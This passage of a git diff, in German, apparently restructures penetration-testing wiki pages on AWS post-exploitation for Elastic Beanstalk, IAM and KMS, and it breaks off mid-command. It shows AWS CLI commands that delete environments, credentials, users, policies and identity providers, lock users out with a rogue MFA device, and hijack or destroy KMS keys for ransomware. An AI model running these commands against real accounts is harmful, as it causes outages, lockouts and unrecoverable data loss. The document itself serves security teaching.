-Ein Angreifer mit der Berechtigung `elasticbeanstalk:SwapEnvironmentCNAMEs` kann **die CNAME-Einträge von zwei Elastic Beanstalk-Umgebungen tauschen**, was dazu führen kann, dass die falsche Version der Anwendung den Benutzern bereitgestellt wird oder zu unbeabsichtigtem Verhalten führt.
-```bash
-aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
-```
-**Potenzielle Auswirkungen**: Bereitstellung der falschen Version der Anwendung für Benutzer oder Verursachung unbeabsichtigten Verhaltens in der Anwendung aufgrund vertauschter Umgebungen.
-
-### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
-
-> [!HINWEIS]
-> TODO: Testen, ob weitere Berechtigungen erforderlich sind
-
-Ein Angreifer mit den Berechtigungen `elasticbeanstalk:AddTags` und `elasticbeanstalk:RemoveTags` kann **Tags auf Elastic Beanstalk-Ressourcen hinzufügen oder entfernen**. Diese Aktion könnte zu falscher Ressourcenallokation, Abrechnung oder Ressourcenmanagement führen.
-```bash
-aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
-
-aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
-```
-**Potenzielle Auswirkungen**: Falsche Ressourcenzuweisung, Abrechnung oder Ressourcenmanagement aufgrund hinzugefügter oder entfernter Tags.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md
new file mode 100644
index 000000000..4354147b7
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md
@@ -0,0 +1,70 @@
+# AWS - Elastic Beanstalk Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Elastic Beanstalk
+
+Für weitere Informationen:
+
+{{#ref}}
+../../aws-services/aws-elastic-beanstalk-enum.md
+{{#endref}}
+
+### `elasticbeanstalk:DeleteApplicationVersion`
+
+> [!NOTE]
+> TODO: Testen, ob für diese Aktion weitere Berechtigungen erforderlich sind
+
+Ein Angreifer mit der Berechtigung `elasticbeanstalk:DeleteApplicationVersion` kann **eine vorhandene Anwendungsversion löschen**. Diese Aktion kann Bereitstellungs-Pipelines stören oder zum Verlust bestimmter Anwendungsversionen führen, wenn diese nicht gesichert wurden.
+```bash
+aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
+```
+**Mögliche Auswirkungen**: Beeinträchtigung der Bereitstellung der Anwendung und möglicher Verlust von Anwendungs-Versionen.
+
+### `elasticbeanstalk:TerminateEnvironment`
+
+> [!NOTE]
+> TODO: Testen, ob hierfür zusätzliche Berechtigungen erforderlich sind
+
+Ein Angreifer mit der Berechtigung `elasticbeanstalk:TerminateEnvironment` kann **eine bestehende Elastic Beanstalk-Umgebung terminieren**, was zu Ausfallzeiten der Anwendung und zu möglichem Datenverlust führen kann, wenn die Umgebung nicht für Backups konfiguriert ist.
+```bash
+aws elasticbeanstalk terminate-environment --environment-name my-existing-env
+```
+**Mögliche Auswirkungen**: Ausfall der Anwendung, möglicher Datenverlust und Dienstunterbrechungen.
+
+### `elasticbeanstalk:DeleteApplication`
+
+> [!NOTE]
+> TODO: Prüfen, ob hierfür weitere Berechtigungen erforderlich sind
+
+Ein Angreifer mit der Berechtigung `elasticbeanstalk:DeleteApplication` kann **eine gesamte Elastic Beanstalk-Anwendung löschen**, einschließlich aller Versionen und Umgebungen. Diese Aktion könnte zu einem erheblichen Verlust von Anwendungsressourcen und Konfigurationen führen, wenn diese nicht gesichert sind.
+```bash
+aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
+```
+**Mögliche Auswirkungen**: Verlust von Anwendungsressourcen, Konfigurationen, Umgebungen und Anwendungsversionen, was zu Dienstunterbrechungen und möglichem Datenverlust führen kann.
+
+### `elasticbeanstalk:SwapEnvironmentCNAMEs`
+
+> [!NOTE]
+> TODO: Prüfen, ob hierfür weitere Berechtigungen erforderlich sind
+
+Ein Angreifer mit der Berechtigung `elasticbeanstalk:SwapEnvironmentCNAMEs` kann **die CNAME-Einträge von zwei Elastic Beanstalk-Umgebungen vertauschen**, was dazu führen kann, dass Benutzern die falsche Anwendungsvariante ausgeliefert wird oder zu unerwartetem Verhalten führt.
+```bash
+aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
+```
+**Mögliche Auswirkungen**: Die Auslieferung einer falschen Version der Anwendung an Benutzer oder das Verursachen unbeabsichtigten Verhaltens in der Anwendung durch vertauschte Umgebungen.
+
+### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
+
+> [!NOTE]
+> TODO: Prüfen, ob hierfür weitere Berechtigungen erforderlich sind
+
+Ein Angreifer mit den Berechtigungen `elasticbeanstalk:AddTags` und `elasticbeanstalk:RemoveTags` kann **Tags an Elastic Beanstalk-Ressourcen hinzufügen oder entfernen**. Dies kann zu falscher Ressourcenzuteilung, fehlerhafter Abrechnung oder Problemen bei der Ressourcenverwaltung führen.
+```bash
+aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
+
+aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
+```
+**Mögliche Auswirkungen**: Fehlerhafte Ressourcenallokation, Abrechnung oder Ressourcenverwaltung durch hinzugefügte oder entfernte Tags.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
deleted file mode 100644
index 048be792c..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
+++ /dev/null
@@ -1,166 +0,0 @@
-# AWS - IAM Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## IAM
-
-Für weitere Informationen zum IAM-Zugriff:
-
-{{#ref}}
-../aws-services/aws-iam-enum.md
-{{#endref}}
-
-## Confused Deputy Problem
-
-If you **allow an external account (A)** to access a **role** in your account, you will probably have **0 visibility** on **who can exactly access that external account**. This is a problem, because if another external account (B) can access the external account (A) it's possible that **B will also be able to access your account**.
-
-Therefore, when allowing an external account to access a role in your account it's possible to specify an `ExternalId`. This is a "secret" string that the external account (A) **need to specify** in order to **assume the role in your organization**. As the **external account B won't know this string**, even if he has access over A he **won't be able to access your role**.
-
-<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
-
-However, note that this `ExternalId` "secret" is **not a secret**, anyone that can **read the IAM assume role policy will be able to see it**. But as long as the external account A knows it, but the external account **B doesn't know it**, it **prevents B abusing A to access your role**.
-
-Beispiel:
-```json
-{
-"Version": "2012-10-17",
-"Statement": {
-"Effect": "Allow",
-"Principal": {
-"AWS": "Example Corp's AWS Account ID"
-},
-"Action": "sts:AssumeRole",
-"Condition": {
-"StringEquals": {
-"sts:ExternalId": "12345"
-}
-}
-}
-}
-```
-> [!WARNING]
-> Damit ein Angreifer einen confused deputy ausnutzen kann, muss er herausfinden, ob principals des aktuellen Kontos Rollen in anderen Konten übernehmen können.
-
-### Unerwartete Vertrauensbeziehungen
-
-#### Wildcard als Principal
-```json
-{
-"Action": "sts:AssumeRole",
-"Effect": "Allow",
-"Principal": { "AWS": "*" }
-}
-```
-Diese Richtlinie **ermöglicht allen AWS**, die Rolle zu übernehmen.
-
-#### Service als Principal
-```json
-{
-"Action": "lambda:InvokeFunction",
-"Effect": "Allow",
-"Principal": { "Service": "apigateway.amazonaws.com" },
-"Resource": "arn:aws:lambda:000000000000:function:foo"
-}
-```
-Diese Richtlinie **erlaubt jedem Account**, sein apigateway so zu konfigurieren, dass es diese Lambda aufruft.
-
-#### S3 als principal
-```json
-"Condition": {
-"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
-"StringEquals": {
-"aws:SourceAccount": "123456789012"
-}
-}
-```
-Wenn ein S3 bucket als principal angegeben ist — da S3 buckets keine Account ID haben — und du **deinen Bucket gelöscht hast und der Angreifer ihn** in seinem eigenen Account erstellt hat, könnte er dies missbrauchen.
-
-#### Nicht unterstützt
-```json
-{
-"Effect": "Allow",
-"Principal": { "Service": "cloudtrail.amazonaws.com" },
-"Action": "s3:PutObject",
-"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
-}
-```
-Eine übliche Methode, um Confused Deputy-Probleme zu vermeiden, ist die Verwendung einer Condition mit `AWS:SourceArn`, um die originierende ARN zu prüfen. Allerdings **unterstützen einige Dienste das möglicherweise nicht** (wie CloudTrail laut einigen Quellen).
-
-### Löschen von Anmeldeinformationen
-Mit einer der folgenden Berechtigungen — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — kann ein Akteur Zugangsschlüssel, Login-Profile, SSH-Schlüssel, dienstspezifische Zugangsdaten, Instance-Profile, Zertifikate oder CloudFront-Public-Keys entfernen bzw. Rollen von Instance-Profilen trennen. Solche Aktionen können legitime Benutzer und Anwendungen sofort blockieren und zu Denial-of-Service oder zum Verlust des Zugangs für Systeme führen, die von diesen Anmeldeinformationen abhängen. Daher müssen diese IAM-Berechtigungen streng eingeschränkt und überwacht werden.
-```bash
-# Remove Access Key of a user
-aws iam delete-access-key \
---user-name <Username> \
---access-key-id AKIAIOSFODNN7EXAMPLE
-
-## Remove ssh key of a user
-aws iam delete-ssh-public-key \
---user-name <Username> \
---ssh-public-key-id APKAEIBAERJR2EXAMPLE
-```
-### Löschung von Identitäten
-Mit Berechtigungen wie `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` oder `iam:RemoveUserFromGroup` kann ein Akteur Benutzer, Rollen oder Gruppen löschen — oder die Gruppenmitgliedschaft ändern — und so Identitäten sowie zugehörige Spuren entfernen. Das kann sofort den Zugriff für Personen und Dienste, die von diesen Identitäten abhängen, unterbrechen und zu denial-of-service oder zum Verlust des Zugriffs führen. Daher müssen diese IAM-Aktionen streng eingeschränkt und überwacht werden.
-```bash
-# Delete a user
-aws iam delete-user \
---user-name <Username>
-
-# Delete a group
-aws iam delete-group \
---group-name <Username>
-
-# Delete a role
-aws iam delete-role \
---role-name <Role>
-```
-###
-Mit einer der folgenden Berechtigungen — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — kann ein Akteur verwaltete oder Inline-Richtlinien löschen oder trennen, Policy-Versionen oder Berechtigungsgrenzen entfernen und Richtlinien von Benutzern, Gruppen oder Rollen entkoppeln. Dies zerstört Autorisierungen und kann das Berechtigungsmodell verändern, wodurch betroffene Identitäten sofort den Zugriff verlieren oder ein Denial-of-Service erleiden; daher müssen diese IAM-Aktionen streng eingeschränkt und überwacht werden.
-```bash
-# Delete a group policy
-aws iam delete-group-policy \
---group-name <GroupName> \
---policy-name <PolicyName>
-
-# Delete a role policy
-aws iam delete-role-policy \
---role-name <RoleName> \
---policy-name <PolicyName>
-```
-### Löschen föderierter Identitäten
-Mit `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` und `iam:RemoveClientIDFromOpenIDConnectProvider` kann ein Akteur OIDC-/SAML-Identitätsanbieter löschen oder Client-IDs entfernen. Dadurch wird die föderierte Authentifizierung unterbrochen, die Token-Validierung verhindert und Benutzern und Diensten, die auf SSO angewiesen sind, sofort der Zugriff verweigert, bis der IdP oder die Konfigurationen wiederhergestellt sind.
-```bash
-# Delete OIDCP provider
-aws iam delete-open-id-connect-provider \
---open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com
-
-# Delete SAML provider
-aws iam delete-saml-provider \
---saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
-```
-### Unbefugte MFA-Aktivierung
-Mit `iam:EnableMFADevice` kann ein Angreifer ein MFA-Gerät an der Identität eines Benutzers registrieren und dadurch den legitimen Benutzer am Anmelden hindern. Sobald ein unautorisiertes MFA aktiviert ist, kann der Benutzer ausgesperrt werden, bis das Gerät entfernt oder zurückgesetzt wird (Hinweis: Wenn mehrere MFA-Geräte registriert sind, reicht für die Anmeldung nur eines, sodass dieser Angriff keinen Effekt auf das Verweigern des Zugriffs hat).
-```bash
-aws iam enable-mfa-device \
---user-name <Username> \
---serial-number arn:aws:iam::111122223333:mfa/alice \
---authentication-code1 123456 \
---authentication-code2 789012
-```
-### Manipulation von Zertifikat-/Schlüsselmetadaten
-Mit `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` kann ein Akteur den Status oder die Metadaten öffentlicher Schlüssel und Zertifikate ändern. Durch das Kennzeichnen von Schlüsseln/Zertifikaten als inaktiv oder das Ändern von Referenzen können sie die SSH-Authentifizierung unterbrechen, X.509/TLS-Validierungen ungültig machen und sofort Dienste stören, die von diesen Anmeldeinformationen abhängen, was zu Verlust des Zugriffs oder der Verfügbarkeit führt.
-```bash
-aws iam update-ssh-public-key \
---user-name <Username> \
---ssh-public-key-id APKAEIBAERJR2EXAMPLE \
---status Inactive
-
-aws iam update-server-certificate \
---server-certificate-name <Certificate_Name> \
---new-path /prod/
-```
-## Quellen
-
-- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md
new file mode 100644
index 000000000..9327c062a
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md
@@ -0,0 +1,166 @@
+# AWS - IAM Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## IAM
+
+Für weitere Informationen zum IAM-Zugriff:
+
+{{#ref}}
+../../aws-services/aws-iam-enum.md
+{{#endref}}
+
+## Confused Deputy Problem
+
+Wenn Sie einem **externen Account (A)** erlauben, auf eine **Rolle** in Ihrem Account zuzugreifen, werden Sie wahrscheinlich **keine Sichtbarkeit** darüber haben, **wer genau auf diesen externen Account zugreifen kann**. Das ist ein Problem, denn wenn ein anderer externer Account (B) auf den externen Account (A) zugreifen kann, ist es möglich, dass **B ebenfalls auf Ihr Konto zugreifen kann**.
+
+Daher ist es möglich, beim Zulassen eines externen Accounts für den Zugriff auf eine Rolle in Ihrem Account eine `ExternalId` anzugeben. Dies ist eine "geheime" Zeichenfolge, die der externe Account (A) **angeben muss**, um **die Rolle in Ihrer Organisation anzunehmen**. Da der **externe Account B diese Zeichenfolge nicht kennt**, kann er selbst wenn er Zugriff auf A hat **nicht auf Ihre Rolle zugreifen**.
+
+<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
+
+Beachten Sie jedoch, dass dieses `ExternalId`-"Geheimnis" **kein Geheimnis** ist — jeder, der die **IAM assume role policy lesen kann**, wird es sehen können. Aber solange der externe Account A es kennt, der externe Account **B es nicht kennt**, verhindert es, dass **B A missbraucht, um auf Ihre Rolle zuzugreifen**.
+
+Beispiel:
+```json
+{
+"Version": "2012-10-17",
+"Statement": {
+"Effect": "Allow",
+"Principal": {
+"AWS": "Example Corp's AWS Account ID"
+},
+"Action": "sts:AssumeRole",
+"Condition": {
+"StringEquals": {
+"sts:ExternalId": "12345"
+}
+}
+}
+}
+```
+> [!WARNING]
+> Damit ein Angreifer einen confused deputy ausnutzen kann, muss er irgendwie herausfinden, ob Principals des aktuellen Accounts Rollen in anderen Accounts übernehmen bzw. sich als diese ausgeben können.
+
+### Unerwartete Vertrauensstellungen
+
+#### Wildcard als Principal
+```json
+{
+"Action": "sts:AssumeRole",
+"Effect": "Allow",
+"Principal": { "AWS": "*" }
+}
+```
+Diese Richtlinie **ermöglicht es allen AWS**, die Rolle zu übernehmen.
+
+#### Dienst als Principal
+```json
+{
+"Action": "lambda:InvokeFunction",
+"Effect": "Allow",
+"Principal": { "Service": "apigateway.amazonaws.com" },
+"Resource": "arn:aws:lambda:000000000000:function:foo"
+}
+```
+Diese Richtlinie **ermöglicht jedem Konto**, sein apigateway so zu konfigurieren, dass es diese Lambda aufruft.
+
+#### S3 als principal
+```json
+"Condition": {
+"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
+"StringEquals": {
+"aws:SourceAccount": "123456789012"
+}
+}
+```
+Wenn ein S3 bucket als principal angegeben ist, da S3 buckets keine Account ID haben, und du **deinen Bucket gelöscht hast und der Angreifer ihn in seinem eigenen Account erstellt hat**, dann könnte er das ausnutzen.
+
+#### Nicht unterstützt
+```json
+{
+"Effect": "Allow",
+"Principal": { "Service": "cloudtrail.amazonaws.com" },
+"Action": "s3:PutObject",
+"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
+}
+```
+Eine gängige Methode, Confused Deputy-Probleme zu vermeiden, ist die Verwendung einer Bedingung mit `AWS:SourceArn`, um die Herkunfts-ARN zu prüfen. Allerdings unterstützen **einige Dienste das möglicherweise nicht** (z. B. CloudTrail laut einigen Quellen).
+
+### Löschen von Zugangsdaten
+Mit einer der folgenden Berechtigungen — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — kann ein Akteur access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates oder CloudFront public keys entfernen bzw. Rollen von instance profiles trennen. Solche Aktionen können legitime Benutzer und Anwendungen sofort blockieren und zu denial-of-service oder zum Verlust des Zugriffs für Systeme führen, die von diesen Credentials abhängen, daher müssen diese IAM-Berechtigungen streng eingeschränkt und überwacht werden.
+```bash
+# Remove Access Key of a user
+aws iam delete-access-key \
+--user-name <Username> \
+--access-key-id AKIAIOSFODNN7EXAMPLE
+
+## Remove ssh key of a user
+aws iam delete-ssh-public-key \
+--user-name <Username> \
+--ssh-public-key-id APKAEIBAERJR2EXAMPLE
+```
+### Identitätslöschung
+Mit Berechtigungen wie `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` oder `iam:RemoveUserFromGroup` kann ein Akteur Benutzer, Rollen oder Gruppen löschen — oder die Gruppenmitgliedschaft ändern — und damit Identitäten und zugehörige Spuren entfernen. Dies kann sofort den Zugriff für Personen und Dienste unterbrechen, die von diesen Identitäten abhängen, was zu denial-of-service oder zu Zugriffsverlust führen kann, daher müssen diese IAM actions streng eingeschränkt und überwacht werden.
+```bash
+# Delete a user
+aws iam delete-user \
+--user-name <Username>
+
+# Delete a group
+aws iam delete-group \
+--group-name <Username>
+
+# Delete a role
+aws iam delete-role \
+--role-name <Role>
+```
+###
+Mit einer der folgenden Berechtigungen — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — kann ein Akteur managed/inline policies löschen oder abtrennen, Policy-Versionen oder permissions boundaries entfernen und Policies von Benutzern, Gruppen oder Rollen abkoppeln. Das zerstört Autorisierungen und kann das Berechtigungsmodell verändern, wodurch betroffene principals sofort den Zugriff verlieren oder ein Denial-of-Service eintreten kann; diese IAM-Aktionen müssen daher streng eingeschränkt und überwacht werden.
+```bash
+# Delete a group policy
+aws iam delete-group-policy \
+--group-name <GroupName> \
+--policy-name <PolicyName>
+
+# Delete a role policy
+aws iam delete-role-policy \
+--role-name <RoleName> \
+--policy-name <PolicyName>
+```
+### Löschen föderierter Identitäten
+Mit `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` und `iam:RemoveClientIDFromOpenIDConnectProvider` kann ein Akteur OIDC-/SAML-Identitätsanbieter löschen oder Client‑IDs entfernen. Das unterbricht die föderierte Authentifizierung, verhindert die Token‑Validierung und verweigert sofort den Zugriff für Benutzer und Dienste, die auf SSO angewiesen sind, bis der IdP oder die Konfigurationen wiederhergestellt sind.
+```bash
+# Delete OIDCP provider
+aws iam delete-open-id-connect-provider \
+--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com
+
+# Delete SAML provider
+aws iam delete-saml-provider \
+--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
+```
+### Unberechtigte MFA-Aktivierung
+Mit `iam:EnableMFADevice` kann ein Angreifer ein MFA-Gerät auf der Identität eines Nutzers registrieren und dadurch den legitimen Nutzer am Anmelden hindern. Sobald ein nicht autorisiertes MFA aktiviert ist, kann der Nutzer ausgesperrt werden, bis das Gerät entfernt oder zurückgesetzt wird (Hinweis: Sind mehrere MFA-Geräte registriert, ist für die Anmeldung nur eines erforderlich, sodass dieser Angriff keine Wirkung hat, den Zugang zu verweigern).
+```bash
+aws iam enable-mfa-device \
+--user-name <Username> \
+--serial-number arn:aws:iam::111122223333:mfa/alice \
+--authentication-code1 123456 \
+--authentication-code2 789012
+```
+### Manipulation von Zertifikats-/Schlüsselmetadaten
+Mit `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` kann ein Akteur den Status oder die Metadaten öffentlicher Schlüssel und Zertifikate ändern. Durch das Markieren von Schlüsseln/Zertifikaten als inaktiv oder das Ändern von Referenzen können sie die SSH-Authentifizierung unterbrechen, X.509/TLS-Validierungen ungültig machen und Dienste, die auf diesen Anmeldeinformationen basieren, sofort stören, was zu Verlust von Zugriff oder Verfügbarkeit führt.
+```bash
+aws iam update-ssh-public-key \
+--user-name <Username> \
+--ssh-public-key-id APKAEIBAERJR2EXAMPLE \
+--status Inactive
+
+aws iam update-server-certificate \
+--server-certificate-name <Certificate_Name> \
+--new-path /prod/
+```
+## Quellen
+
+- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
deleted file mode 100644
index 205df2035..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
+++ /dev/null
@@ -1,182 +0,0 @@
-# AWS - KMS Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## KMS
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-kms-enum.md
-{{#endref}}
-
-### Verschlüsseln/Entschlüsseln von Informationen
-
-`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:
-
-- `fileb://:` Liest die Datei im Binärmodus, wird häufig für Nicht-Text-Dateien verwendet.
-- `file://:` Liest die Datei im Textmodus, typischerweise verwendet für Textdateien, Skripte oder JSON, die keine spezielle Kodierung erfordern.
-
-> [!TIP]
-> Beachte, dass, wenn du Daten in einer Datei entschlüsseln möchtest, die Datei die binären Daten enthalten muss, nicht base64-kodierte Daten. (fileb://)
-
-- Verwendung eines **symmetrischen** Schlüssels
-```bash
-# Encrypt data
-aws kms encrypt \
---key-id f0d3d719-b054-49ec-b515-4095b4777049 \
---plaintext fileb:///tmp/hello.txt \
---output text \
---query CiphertextBlob | base64 \
---decode > ExampleEncryptedFile
-
-# Decrypt data
-aws kms decrypt \
---ciphertext-blob fileb://ExampleEncryptedFile \
---key-id f0d3d719-b054-49ec-b515-4095b4777049 \
---output text \
---query Plaintext | base64 \
---decode
-```
-- Verwendung eines **asymmetrischen** Schlüssels:
-```bash
-# Encrypt data
-aws kms encrypt \
---key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
---encryption-algorithm RSAES_OAEP_SHA_256 \
---plaintext fileb:///tmp/hello.txt \
---output text \
---query CiphertextBlob | base64 \
---decode > ExampleEncryptedFile
-
-# Decrypt data
-aws kms decrypt \
---ciphertext-blob fileb://ExampleEncryptedFile \
---encryption-algorithm RSAES_OAEP_SHA_256 \
---key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
---output text \
---query Plaintext | base64 \
---decode
-```
-### KMS Ransomware
-
-Ein Angreifer mit privilegiertem Zugriff auf KMS könnte die KMS-Policy von Schlüsseln ändern und **seinem Account Zugriff darauf gewähren**, wodurch der Zugriff für den legitimen Account entfernt wird.
-
-Dann können die Nutzer des legitimen Accounts auf keine Informationen von Diensten zugreifen, die mit diesen Schlüsseln verschlüsselt wurden, wodurch ein einfaches, aber effektives Ransomware-Szenario für den Account entsteht.
-
-> [!WARNING]
-> Beachte, dass **AWS managed keys aren't affected**; betroffen sind nur **Customer managed keys**.
->
-> Beachte außerdem die Notwendigkeit, den Parameter **`--bypass-policy-lockout-safety-check`** zu verwenden (das Fehlen dieser Option in der Web-Konsole macht diesen Angriff nur über die CLI möglich).
-```bash
-# Force policy change
-aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
---policy-name default \
---policy file:///tmp/policy.yaml \
---bypass-policy-lockout-safety-check
-
-{
-"Id": "key-consolepolicy-3",
-"Version": "2012-10-17",
-"Statement": [
-{
-"Sid": "Enable IAM User Permissions",
-"Effect": "Allow",
-"Principal": {
-"AWS": "arn:aws:iam::<your_own_account>:root"
-},
-"Action": "kms:*",
-"Resource": "*"
-}
-]
-}
-```
-> [!CAUTION]
-> Beachten Sie, dass wenn Sie diese Richtlinie ändern und nur einem externen Konto Zugriff gewähren, und dann von diesem externen Konto aus versuchen, eine neue Richtlinie zu setzen, um den Zugriff an das ursprüngliche Konto zurückzugeben, Sie dazu nicht in der Lage sein werden, da die Put Polocy-Aktion nicht von einem Cross-Account ausgeführt werden kann.
-
-<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
-
-### Generic KMS Ransomware
-
-Es gibt eine andere Möglichkeit, ein globales KMS Ransomware umzusetzen, die die folgenden Schritte umfasst:
-
-- Erstellen Sie einen neuen **Schlüssel mit Schlüsselmaterial**, das vom Angreifer importiert wurde
-- **Ältere Daten erneut verschlüsseln**, die beim Opfer mit der vorherigen Version verschlüsselt wurden, mit der neuen
-- **Den KMS-Schlüssel löschen**
-- Nun könnte nur noch der Angreifer, der das ursprüngliche Schlüsselmaterial besitzt, in der Lage sein, die verschlüsselten Daten zu entschlüsseln
-
-### Delete Keys via kms:DeleteImportedKeyMaterial
-
-Mit der Berechtigung `kms:DeleteImportedKeyMaterial` kann ein Akteur das importierte Schlüsselmaterial aus CMKs mit `Origin=EXTERNAL` löschen (CMKs, die ihr Schlüsselmaterial importiert haben) und sie dadurch unfähig machen, Daten zu entschlüsseln. Diese Aktion ist destruktiv und irreversibel, sofern nicht kompatibles Material erneut importiert wird, und ermöglicht es einem Angreifer, effektiv einen ransomware-ähnlichen Datenverlust zu verursachen, indem verschlüsselte Informationen dauerhaft unzugänglich gemacht werden.
-```bash
-aws kms delete-imported-key-material --key-id <Key_ID>
-```
-### Keys zerstören
-
-Durch das Zerstören von keys kann ein DoS verursacht werden.
-```bash
-# Schedule the destoy of a key (min wait time is 7 days)
-aws kms schedule-key-deletion \
---key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
---pending-window-in-days 7
-```
-> [!CAUTION]
-> Beachte, dass AWS jetzt **verhindert, dass die vorherigen Aktionen von einem Cross-Account ausgeführt werden:**
-
-### Alias ändern oder löschen
-Dieser Angriff löscht oder leitet AWS KMS-Aliase um, bricht die Schlüsselauflösung und verursacht sofortige Ausfälle in allen Diensten, die auf diese Aliase angewiesen sind, was zu einem denial-of-service führt. Mit Berechtigungen wie `kms:DeleteAlias` oder `kms:UpdateAlias` kann ein Angreifer Aliase entfernen oder umleiten und kryptografische Operationen (z. B. encrypt, describe) stören. Jeder Dienst, der das Alias statt der Key ID referenziert, kann ausfallen, bis das Alias wiederhergestellt oder korrekt neu zugewiesen wurde.
-```bash
-# Delete Alias
-aws kms delete-alias --alias-name alias/<key_alias>
-
-# Update Alias
-aws kms update-alias \
---alias-name alias/<key_alias> \
---target-key-id <new_target_key>
-```
-### Löschung des Schlüssels abbrechen
-Mit Berechtigungen wie `kms:CancelKeyDeletion` und `kms:EnableKey` kann ein Akteur die geplante Löschung eines AWS KMS customer master key abbrechen und diesen später wieder aktivieren. Dadurch wird der Schlüssel wiederhergestellt (anfangs im Disabled-Zustand) und seine Fähigkeit zur Entschlüsselung zuvor geschützter Daten wiederhergestellt, was exfiltration ermöglicht.
-```bash
-# Firts cancel de deletion
